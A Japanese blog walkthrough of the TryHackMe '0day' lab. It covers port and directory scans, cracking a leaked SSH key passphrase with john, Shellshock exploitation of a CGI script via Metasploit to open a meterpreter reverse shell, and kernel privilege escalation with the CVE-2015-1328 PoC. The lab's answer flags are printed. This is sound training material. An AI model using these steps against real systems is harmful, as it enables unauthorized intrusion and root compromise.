0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】0day:Walkthrough

Posted at

概要

TryHackMe「0day」のWalkthroughです。

Task1

Q1.user.txt

ポートスキャンを実行します。

$ nmap -Pn -T4 -sCV -p- 10.201.71.197 -oN nmap_result

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 57:20:82:3c:62:aa:8f:42:23:c0:b8:93:99:6f:49:9c (DSA)
|   2048 4c:40:db:32:64:0d:11:0c:ef:4f:b8:5b:73:9b:c7:6b (RSA)
|   256 f7:6f:78:d5:83:52:a6:4d:da:21:3c:55:47:b7:2d:6d (ECDSA)
|_  256 a5:b4:f0:84:b6:a7:8d:eb:0a:9d:3e:74:37:33:65:16 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: 0day
|_http-server-header: Apache/2.4.7 (Ubuntu)

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 6.6.1p1
80 http Apache/2.4.7

Webサイトにアクセスできました。

image.png

ディレクトリスキャンをすると、/admin/backup/cgi-binなどのパスが分かりました。

$ dirsearch -u http://10.201.71.197/

[09:30:03] 301 -  313B  - /admin  ->  http://10.201.71.197/admin/           
[09:30:03] 200 -    0B  - /admin/                                           
[09:30:04] 200 -    0B  - /admin/index.html                                 
[09:30:19] 301 -  314B  - /backup  ->  http://10.201.71.197/backup/         
[09:30:19] 200 -    1KB - /backup/                                          
[09:30:23] 301 -  315B  - /cgi-bin  ->  http://10.201.71.197/cgi-bin/       
[09:30:23] 403 -  288B  - /cgi-bin/                                         
[09:30:23] 200 -   13B  - /cgi-bin/test.cgi                                 
[09:30:28] 301 -  311B  - /css  ->  http://10.201.71.197/css/               
[09:30:40] 301 -  311B  - /img  ->  http://10.201.71.197/img/               
[09:30:43] 200 -  453B  - /js/                                              
[09:31:05] 200 -   38B  - /robots.txt                                       
[09:31:07] 200 -   97B  - /secret/                                          
[09:31:07] 301 -  314B  - /secret  ->  http://10.201.71.197/secret/
[09:31:20] 301 -  315B  - /uploads  ->  http://10.201.71.197/uploads/       
[09:31:20] 200 -    0B  - /uploads/

/backup/にアクセスすると、秘密鍵を入手できました。

image.png

ssh2johnjohn the ripperを使用し、秘密鍵のパスワードを解析します。

$ ssh2john id_rsa > id_hash.txt

$ john --wordlist=/usr/share/wordlists/rockyou.txt id_hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)

解析の結果、Password:letmeinだと分かりました。

$ john --show id_hash.txt                                     
id_rsa:letmein

1 password hash cracked, 0 left

ユーザー名が分からないので、秘密鍵を使用したSSH接続はできません。

注目するポイントを変え、/cgi-bin/test.cgiに目を向けます。
cgiが動いているので、CVE-2014-7169であるShellshockの脆弱性が、刺さる可能性が高いです。

Shellshockが刺さるか、Metasploitのモジュールで確認します。

msf6 auxiliary(scanner/http/apache_mod_cgi_bash_env) > show options 

Module options (auxiliary/scanner/http/apache_mod_cgi_bash_env):

   Name       Current Setting    Required  Description
   ----       ---------------    --------  -----------
   CMD        /usr/bin/id        yes       Command to run (absolute paths required)
   CVE        CVE-2014-6271      yes       CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
   HEADER     User-Agent         yes       HTTP header to use
   METHOD     GET                yes       HTTP method to use
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, soc
                                           ks5h, sapni, http, socks4
   RHOSTS     10.201.71.197      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metas
                                           ploit.html
   RPORT      80                 yes       The target port (TCP)
   SSL        false              no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /cgi-bin/test.cgi  yes       Path to CGI script
   THREADS    1                  yes       The number of concurrent threads (max one per host)
   VHOST                         no        HTTP server virtual host

結果、Shellshockが刺さると分かりました。

msf6 auxiliary(scanner/http/apache_mod_cgi_bash_env) > exploit 
[+] uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

攻撃用のモジュールを使用します。

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show options 

Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):

   Name            Current Setting    Required  Description
   ----            ---------------    --------  -----------
   CMD_MAX_LENGTH  2048               yes       CMD max line length
   CVE             CVE-2014-6271      yes       CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
   HEADER          User-Agent         yes       HTTP header to use
   METHOD          GET                yes       HTTP method to use
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5
                                                , socks5h, sapni, http, socks4
   RHOSTS          10.201.71.197      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
                                                metasploit.html
   RPATH           /bin               yes       Target PATH for binaries used by the CmdStager
   RPORT           80                 yes       The target port (TCP)
   SSL             false              no        Negotiate SSL/TLS for outgoing connections
   SSLCert                            no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /cgi-bin/test.cgi  yes       Path to CGI script
   TIMEOUT         5                  yes       HTTP read response timeout (seconds)
   URIPATH                            no        The URI to use for this exploit (default is random)
   VHOST                              no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine o
                                       r 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.6.55.144      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux x86

エクスプロイトを実行すると、シェルを取得できました。

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > exploit 
[*] Started reverse TCP handler on 10.6.55.144:4444 
[*] Command Stager progress - 100.00% done (1092/1092 bytes)
[*] Sending stage (1017704 bytes) to 10.201.71.197
[*] Meterpreter session 1 opened (10.6.55.144:4444 -> 10.201.71.197:47525) at 2025-10-06 10:16:06 -0400

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo 
Computer     : 10.201.71.197
OS           : Ubuntu 14.04 (Linux 3.13.0-32-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

/home/ryan/user.txtからユーザーフラグを入手できました。

meterpreter > cat /home/ryan/user.txt 
THM{Sh3llSh0ck_r0ckz}

A.THM{Sh3llSh0ck_r0ckz}

Q2.root.txt

linpeasで権限昇格の手掛かりを探します。
結果、Linuxのバージョンに脆弱性があると分かりました。

www-data@ubuntu:/tmp$ ./linpeas.sh

╔══════════╣ Operative system
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits                                        
Linux version 3.13.0-32-generic (buildd@kissel) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.1 LTS
Release:        14.04
Codename:       trusty

Linux version 3.13.0-32-genericの脆弱性情報を探すと、CVE-2015-1328が見つかりました。

PoCをターゲットマシン環境でコンパイルします。

www-data@ubuntu:/tmp$ gcc ofs.c -o ofs

プログラムを実行すると、root権限に昇格出来ました。

www-data@ubuntu:/tmp$ ./ofs

# whoami
root

/root/root.txtからルートフラグを入手できました。

# cat /root/root.txt
THM{g00d_j0b_0day_is_Pleased}

A.THM{g00d_j0b_0day_is_Pleased}

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?